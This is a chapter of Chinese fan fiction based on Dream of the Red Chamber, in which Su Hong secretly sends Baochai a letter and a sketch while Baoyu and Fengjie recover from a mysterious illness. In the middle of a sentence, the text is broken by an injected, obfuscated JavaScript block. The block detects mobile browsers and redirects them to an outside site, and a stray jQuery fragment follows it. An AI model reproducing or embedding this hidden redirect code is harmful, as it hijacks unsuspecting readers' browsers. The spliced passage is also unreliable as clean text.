纪花明闻言，想到以苏鸿的才学人品尚公主都绰绰有余，便也不再乱想。只是他年纪不小，亦想早日登科，成家立业。他心中对未来的妻子也有许多幻想，只觉她是个顶顶温柔的姑娘就好。
苏鸿见他不知想些什么，露着一口白牙笑嘻嘻的，一时有些嫌弃。初见这位师兄，还以为他是什么严肃、威严的角色，谁知道相处久了就露出马脚，竟也是天性活泼爱说爱笑的主儿。
他定定心神，一手研墨，一边想着写些什么。不料纪花明兴致勃勃开口道：“既然你有未婚妻，想必和你大舅子关系也不错。不如也给你大舅子写信，顺带捎带些玩意儿送过去？”
苏鸿一怔，闻言有些犹豫道：“会不会不太好？”
一则男女大防，二则……他也担忧自己贸然寄信唐突宝钗。
纪花明翻身跳下小榻，捏着下巴仔细思考片刻后一本正经说道：“这有什么，你只管把东西送给你大舅子。难道你大舅子是傻的，连送给姑娘家的玩意儿都看不出来？我之前听宋师弟说起过，他未婚时就给他娘子寄过许多书信，两个人婚后很是和睦恩爱。”
苏鸿被说动了，见纪花明一副见多识广的模样，连忙虚心求教道：“可是她不爱寻常姑娘家喜欢的，虽出身富贵，浑身上下却不见半点奢华，崇尚简朴。我思前想后，也不知她爱什么。”
纪花明翻了个白眼，冷笑道：“你什么也不送，就永远不知道人家喜欢什么。既不爱富丽闲妆，那崇尚简朴的男人喜欢什么，你就照着送，何苦拘泥于闺阁？”
苏鸿闻言便觉茅塞顿开，连忙起身团团作揖，喜得亲自给纪花明倒茶。纪花明得意一笑，自觉抓住了苏鸿的弱点，将自己曾听来的各位师兄的爱情故事杂糅一番，说得头头是道。
苏鸿听了频频点头，心中暗暗思忖：虽说有男女大防，但各地风气不一。如京城，府中女眷除了去寺庙、道观祈福，甚少有出门的机会。但在江南，凡是有美景的地方都能看到官宦女眷带着帷帽出现，结社、出书亦不在话下。
他自不会傻到按着江南风气去追求宝钗，这不仅会触怒宝钗，还会陷她于不义。但若是有礼有节，想必伯母和呆师弟不会阻拦。因而待纪花明离开后，他便速速写了家书，又重新铺纸研墨，只是笔尖悬在纸上，迟迟不肯下笔。
思忖片刻，他才落笔，只是却并非书信，而是一幅洒扫图。他画技一般，只将校舍画了个大致的模样，他与一干师兄弟或踮脚拂尘、或屈身铺床，连书桌一角的小菇也画上了。
画完之后，他才另换信纸，仅写道：贤兄亲启。鸿已抵达书院，与众师兄洒扫，甚安。一别月余，都中安否？谨付寸心，希垂尺素，灯下顿首。
他捧着信纸再三查验，见并无错漏，方才吹干墨迹，与画一同装进信封。第二日一早，他便亲自去邮驿将两封家书一同送出，虽花了不少银钱，却莫名觉得心情十分舒畅。
且说苏鸿在书院日夜苦读，却不知都中荣国府已经因宝玉、凤姐无故生病闹得人仰马翻。这病来得凶猛古怪，短短三日，宝玉凤姐叔嫂二人便奄奄一息，俨然流露出下世的光景。
贾赦与贾政兄弟二人见贾母哀痛欲绝，全家上下动荡不安，都大不自在。只是家里家外都指望他们理事，虽没什么底气，却也不敢对外表现，只强忍不安。贾政见百般医治、符水僧道均不见效，已然心灰大半。
儿女命数皆由天定，人力岂可强求。他膝下三子二女，长女入宫，虽得富贵荣华，却不得见面。长子早夭，虽是聪慧仁孝，却天人永隔。如今，竟轮到他的次子了……礼记有云，国之将亡，必有妖孽。荣国府乃钟鸣鼎盛之家，素有气运，如今族中子弟却被邪祟所扰，实是让他心惊。
贾赦闻言，虽不解贾政为何如此薄情，却也不理这话，仍是寻僧觅道，百般忙乱。他平素虽不大喜欢这个弟弟，但亦是血浓于水的亲伯侄、亲公媳，自无撂下不管的道理。只是并无效验，宝玉、凤姐二人越发连气息也要断了。
贾母、王夫人、贾琏等自是守着二人痛哭。宝钗、黛玉等姊妹几个因王夫人上房内人口杂乱，不便到前头，亦聚于稻香村中，或对坐流泪，或祈佛求仙，或默默无言，十分担忧。
宝钗听哥哥说姨爹已经命人做了棺材、衣履预备后事，又见黛玉在旁用帕子拭泪，三春姊妹也在蒲团上默念。一月前他们还欢欢喜喜搬进大观园中，众人一起游园作乐，观花赏鱼，转瞬却又如此景象，宝钗只觉滋味难明。
及至第四日晚间，众姊妹听说宝玉、凤姐二人竟渐渐醒了，能吃些米汤，一时各个欢喜。黛玉更是多日悬心，心里不住求神拜佛，听到这个好消息竟是脱口念道：“阿弥陀佛。”
宝钗闻言看她半日，心中忽而串联起大大小小的事，方隐约察觉黛玉、宝玉之情似是并非寻常姊妹情分。她有些惊异，但想到二人素日亲厚非常人可比，嘲笑喜怒无常，便觉有七八分准，不免笑出声来。
众人不解，宝玉和凤姐姐好转虽是好事，值得一笑，但宝钗发笑却不似只为这个。宝钗方笑吟吟调侃道：“今儿宝玉和二姐姐才好些，如来佛又要忙着管林姑娘的姻缘了。”
众人听此玩笑话不由想起数日前凤姐之语，尽皆发笑。见黛玉红着脸摔帘子溜走，更是乐不可支。想到二人已经好转，听得前头男人们都散了，便又忙约着黛玉一同前去探望。
待宝钗看过宝玉、凤姐后，方有空回蘅芜苑休息。只是一进屋，就见桌上压着一封书信，不由奇道：“是谁送来的？”
她身处闺阁，一干亲戚姊妹都在贾府，哪里有人给她写信。
文杏笑道：“是大爷身边的人送来的，说是封家书，叫姑娘也瞧瞧。姑娘和莺儿姐姐出去了，我便接下来了。”
宝钗闻言点头一笑，上前将镇纸挪开，只见是一封已被打开的家书。抬手一摸，她便觉似是有些厚了，便一蹲身坐在绣墩儿上，借着烛光将里面的纸张取
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285836|182587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出。展开信纸看去，却见短短几行字，只观字迹便知是谁书写，不由面上微红。
先前她仍在梨香院时，哥哥也曾拿着苏鸿的信来问她典故，言辞平和亲密，只以师兄弟相称。便是落在纸面上，苏鸿也甚少用敬辞，肆意自在，全不似今日这封书信——像是被夺舍了一样透着敬意。
虽是给哥哥写的信，但宝钗却知并非如此。他不知用了什么法子，竟让哥哥将信交予她，连母亲也未必知道。她心中复杂，有些犹豫是否要打开另一张信纸。
她斟酌片刻，才将另一张纸展开，竟是画着一幅洒扫校舍图，出自谁手自不必说。寥寥几笔便勾勒出他们洒扫校舍的自在闲适，自得其乐，尤其桌角和墙角竟画了几朵小菇，更是让画作灵动非凡。
宝钗松了口气，却觉这方是苏鸿风格，不似古今小说中轻浮浪子所为。烛光下，她又将画作捧在手上细看，见苏鸿画景倒是不错，画人物似是欠缺了些。她抿唇笑着，将它们重新装回信封，珍而重之收在匣子里。
莺儿见了也未曾多想，连忙服侍宝钗洗漱，为她拆解发髻，只用一根银绸带将头发拢在身后。只是宝钗却不曾去睡，只坐在绣墩儿上静静梳着发尾，观其神色，却不知是在想着什么，唇角微微含笑。
半晌，她才想起什么，问道：“我记得先前收拾过一箱子画具，怎么忘了放在哪儿了？”
莺儿奇道：“姑娘去年入冬时才说这东西天冷了不好拿出来用，叫收起来的，怎么忘了？”她见宝钗神思不属，又笑道：“是在太太那里收着，不曾带进园来。正巧春天快过了，不如明儿我取进来。”
宝钗面上微微发红，点头笑着答应。见莺儿神色促狭，便也不再多言，连忙上床休息。莺儿熄了蜡烛，躺在宝钗身侧悄悄笑道：“姑娘在想什么，怎么连自己吩咐过的事都忘了？”
宝钗无话可答，面上滚烫，幸而不曾被人看见。
只是幽幽深宫之中，有一处却仍旧灯火通明。皇帝披衣坐在窗前，蹙眉问道：“那个贾宝玉怎么回事，不是说忽然得了急病，怎么又活过来了？”
听说贾宝玉落草时就带了一块儿玉，竟是十分难得的美玉，还有除邪祟、疗冤疾、知祸福的功效。外头人传得神乎其神，连史太君还怕他压不住，特意散了钱命外头人喊宝玉的小名。
他们皇室宗亲倒是不在意这些说法。古往今来，多少人为了出人头地，编出各类神话传说，牵强附会。即便是真的，一个好在脂粉堆里混迹的浪荡公子哥，性格怪癖乖张，又能有什么大出息。
虽不在意，但他绝不许有不在他掌控范围的事发生。那些僧道稀奇古怪，有玄妙变化之术，便是不敢冲着他使，他也心生警惕戒备。
身后的大太监忙躬身道：“主子爷，这几天贾家并一干亲戚，找了不少符水、僧道，都不见效，贾主事连棺材都预备下了。只是今日早间，贾家人虽在内院，却听见一僧一道说他们善能医治，十分奇异。”